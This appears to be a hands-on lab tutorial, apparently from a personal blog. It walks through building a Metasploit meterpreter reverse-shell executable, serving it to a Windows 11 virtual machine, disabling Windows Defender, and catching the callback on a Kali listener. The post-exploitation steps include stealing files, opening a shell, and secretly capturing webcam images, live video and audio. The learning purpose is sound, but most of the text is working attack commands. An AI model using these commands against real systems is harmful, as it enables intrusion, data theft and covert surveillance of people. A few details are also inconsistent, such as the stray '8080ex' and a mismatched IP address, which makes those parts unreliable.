Attacking Windows 11 using the Metasploit Framework:
Everything I’ve shown for setting up a virtual environment has led to this part of the project! The first part of the project is downloading oracle virtual box so please check out the home page for that information.
Note: This is a demonstration only, and I do not condone anyone using this information for malicious purposes! You should always have permission before ethical hacking!
Please open your Kali Linux virtual machine and your windows 11 virtual machine so you can monitor both.
For this demonstration, you will need the Kali ip address to create a payload. We will be using the Metasploit Framework to attack our Windows machine.
(SIDENOTE: To safely get back to a clean machine state, you can take a Snapshot in Virtual Box.)
How to take a Snapshot:
In the Virtual machine go to Machine > Take a Snapshot
Name your Snapshot and allow Oracle to save it.
MetaSploit FrameWork attack:
Open up a new terminal in Kali.
Type the command: sudo apt update
And type in your password to update the machine.
Next, upgrade the machine with : sudo apt upgrade
Type cd Documents to navigate to the documents center. Next we will be using msfvenom to create a malicious payload using Metasploit.
Type the following commands in the terminal:
Msfvenom -p windows/x64/meterpreter_reverse_tcp \
> LHOST=192.168.100.4 \ (The kali ipaddress)
>LPORT=1122 \ (assigned port number)
-f exe \
-o devil.exe \
Msfvenom will now create a malicious payload file and save it as devil.exe. When executed, this file will create a hidden connection back to our attacker machine.
Type the ls command to confirm the file has been created.
Next, we will need a way for our victim (our windows machine) to receive the executable file. Some use social engineering such as an email, in this demonstration we will set up a web server using python.
Type the command:
Python3 -m http.server 8080ex
This command creates a web server on port 8080 making all files in our directory accessible through a web server.
Leave this terminal running and open up a new one.
Type the command:
sudo msfconsole
And type in your password.
Type the command:
use exploit/multi/handler
Next type:
Set payload windows/x64/meterpreter_reverse_tcp
To see what else needs to be configured type:
options
From here, we can see that LHOST needs to be set to our ipaddress
Type the command:
set LHOST 192.168.100.5 (your Kali ipaddress)
Next, we need to set the LPORT to match the one we set up earlier.
Type the command:
set LPORT 1122
Next, type
options
To confirm that the changes we made were saved.
Next, type run or exploit to begin.
The handler is now listening (waiting for a connection)
From here, switch over to our Windows virtual machine:
Open a web browser and type in the attackers ipaddress followed by 8080 and press enter.
Click on the devil.exe file and download it.
Windows may pop up with a security warning! We have to turn off Windows Defender in order to download the file.
To turn off windows defender
Click on the start menu and go to Settings>Privacy&Security> Windows Security> Virus&Threat Protection
Then under Virus&Threat Protection, toggle off Real Time Protection
You should now be able to download the file.
On Our Linux Machine, we can now see that a connection has been made.
(NOTE: Windows might still try to prevent the download of the file. You will need to allow the app through in windows defender)
In the session in the Kali terminal, type the command sysinfo to see information on the windows computer.
You can also type the command getuid to see the account username
If you type pwd, you can see the current directory. You can also use the command ipconfig to see the ip addresses and other information.
If you type ls, you can see all files in that directory.
You can also download files from here as well!
Type download kuromi.jpg(whatever file you wish)
And go into your home folder on linux, you can see the file
Next, if you were to type shell
You can open a windows command prompt.
Type whoami to verify the user account you have access to
When finished, you can type exit to exit out of the command prompt and return to meterpreter.
Some other things you can do is if the victim has a webcam, you can type webcam_snap, and the webcam will take a picture without the victim having any knowledge. You could also type webcam_stream to open up a browser window and see a live stream. You can also record audio and set a time limit for how long you wish the recording to be, and it will automatically save to the device.
This is the end of the demonstration.
Make sure to turn Windows Defender back on.
Try to delete the devil.exe file in downloads. It will not delete because it is running.
Restart your computer to end the connection.
(NOTE: Any issues, you can power of the machine and restore it to snapshot 1 we took earlier)
